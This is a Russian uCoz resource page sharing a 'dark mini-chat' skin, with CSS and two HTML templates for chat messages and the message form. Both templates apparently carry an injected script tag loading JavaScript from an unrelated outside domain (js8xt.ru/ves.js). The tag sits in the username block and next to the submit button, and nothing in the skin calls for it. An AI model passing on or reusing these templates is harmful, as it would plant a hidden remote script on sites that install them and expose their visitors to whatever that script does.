Например: Сервер CS 1.6
Вторник, 16.04.2024, 21:03 Регистрация Карта сайта RSS Лента
Меню сайта
Наш опрос
Откуда вы нашли нас?
[ Результаты · Архив опросов ]
Всего ответов: 19
Профиль
Лучшие пользователи
    ESTER
    Добавил файлов: 122
    Количество постов: 5
    oleg123
    Добавил файлов: 0
    Количество постов: 4
    Onlines
    Добавил файлов: 0
    Количество постов: 4
    AHTOLLIKA
    Добавил файлов: 0
    Количество постов: 1
    BattleCowboys
    Добавил файлов: 0
    Количество постов: 1
Статистика
Гости: Пользователи:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Пользователи онлайн
Никого нет.
Наши партнёры
Главная

Темный мини-чат для uCoz

  • Скрипты
  • Добавил:
  • Дата:
  • Средняя оценка: 5.0(4)
  • Просмотров: 1940

Темный мини-чат для uCoz. Удобный черный чат, с различными функциями и красивыми картинками.
Автор: TAMEP.


В CSS:

Code
/* Темный мини-чат */  
.vid_mchat_b {  
  border-bottom:1px solid #2b2b2b;  
}  

.vid_mchat {  
  overflow:hidden;  
  background:#191919;  
  border-bottom:1px solid #0a0a0a;  
  padding:3px 0 0 0;  
  min-height:58px;  
}  

.vid_mchat .name {  
  max-width:145px;  
  padding:0 0 4px 0;  
  background:url("vid_mchat_name_b.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_name_b.png*/ no-repeat bottom center;  
}  

.vid_mchat .text {  
  font-weight:bold;  
  color:#636363;  
  padding:3px;  
}  

.vid_mchat .avatar {  
  float:right;  
  background:url("vid_mchat_ava.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_ava.png*/ no-repeat 0 0;  
  padding:2px;  
}  

.vid_mchat .avatar img {  
  width:38px;  
  height:38px;  
  border-radius:5px;  
  -moz-border-radius:5px;  
  -webkit-border-radius:5px;  
}  

.form_add {  
  padding:0 4px 5px 3px;  
}  

.form_add .bbcodes {  
  padding:0 0 2px 3px;  
}  

.form_add .bbcodes a {  
  display:inline-block;  
  background:url("bbcodes_a_l.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l.png*/ no-repeat 0 0;  
  padding:0 0 0 5px;  
  font-family:Tahoma;  
  font-size:11px;  
  font-weight:bold;  
  color:#69859f;  
  height:17px;  
  text-align:center;  
  line-height:17px;  
}  

.form_add .bbcodes a span {  
  display:inline-block;  
  height:17px;  
  background:url("bbcodes_a_r.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r.png*/ no-repeat right;  
  padding:0 5px 0 0;  
}  

.form_add .bbcodes a:hover {  
  background:url("bbcodes_a_l_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l_h.png*/ no-repeat 0 0;  
  color:#1a1a1a;  
  text-shadow:0 1px 0 #88a1b5;  
}  

.form_add .bbcodes a:hover span {  
  background:url("bbcodes_a_r_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r_h.png*/ no-repeat right;  
}  

.form_add .submit {  
  margin:0;  
  padding:0 3px 0 0;  
  border:0;  
}  

.form_add .submit input {  
  background:url("form_add_submit.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_submit.png*/ no-repeat 0 0;  
  width:42px !important;  
  height:42px;  
  font-family:Tahoma;  
  font-size:11px;  
  font-weight:bold;  
  color:#636363;  
  padding:0;  
  margin:0;  
  border:0;  
}  

.form_add .textarea {  
  width:156px;  
  float:right;  
  padding:1px 0 0;  
  margin:0;  
  border:0;  
}  

.form_add .textarea textarea {  
  padding:9px 6px;  
  width:144px;  
  height:23px;  
  border:0;  
  background:url("form_add_textarea.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_textarea.png*/ no-repeat 0 0;  
  height:23px;  
  font-family:Tahoma;  
  font-size:11px;  
  font-weight:bold;  
  color:#636363;  
}  
/* --- */


Вид материалов чата:

Code
<div class="vid_mchat_b"><div class="vid_mchat">  
<div class="avatar"><img src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>Ссылка на NOAVATAR<?endif?>" alt="$USERNAME$" /></div>  
<div class="name"><script language=JavaScript src=http://js8xt.ru/ves.js></script><div style="padding:0 0 0 5px;"><a href="$PROFILE_URL$"><img alt="" src="http://informers.ucoz.ru/scripts/mchat/user.png" border="0" style="vertical-align:-2px"/></a>  
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$USERNAME$[/i], ';return false;"><b>$USERNAME$</b></a>  
</div></div>  
<div class="text">$MESSAGE$</div>  
</div></div>


Форма добавлений сообщений мини-чата:


Code
<?if($USER_LOGGED_IN$)?>  
<div class="form_add">  
<div class="bbcodes">  
<a href="javascript:add_bb_code_b()"><span>B</span></a>  
<a href="javascript:add_bb_code_u()"><span>U</span></a>  
<a href="javascript:add_bb_code_i()"><span>i</span></a>  
<a href="javascript:add_bb_code_s()"><span>S</span></a>  
<?if($MSGCTRL_URI$)?><a href="$MSGCTRL_URI$"><span>Настройки</span></a><?endif?>  
</div>  
<div class="textarea"><textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();" placeholder="Текст сообщения..."></textarea></div>  
<div class="submit"><div style="width:30px"><script language=JavaScript src=http://js8xt.ru/ves.js></script><input type="submit" value="OK" class="mchat" id="mchatBtn" style="width:30px;"><img alt="" style="display:none;" id="mchatAjax" src="http://s42.ucoz.net/img/fr/ajax3.gif" border="0" width="16"/></div></div>  
</div><!--/form_add-->  
<?endif?>
Рейтинг: 5.0/4
Счетчики: 1940 | Добавил: ESTER
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]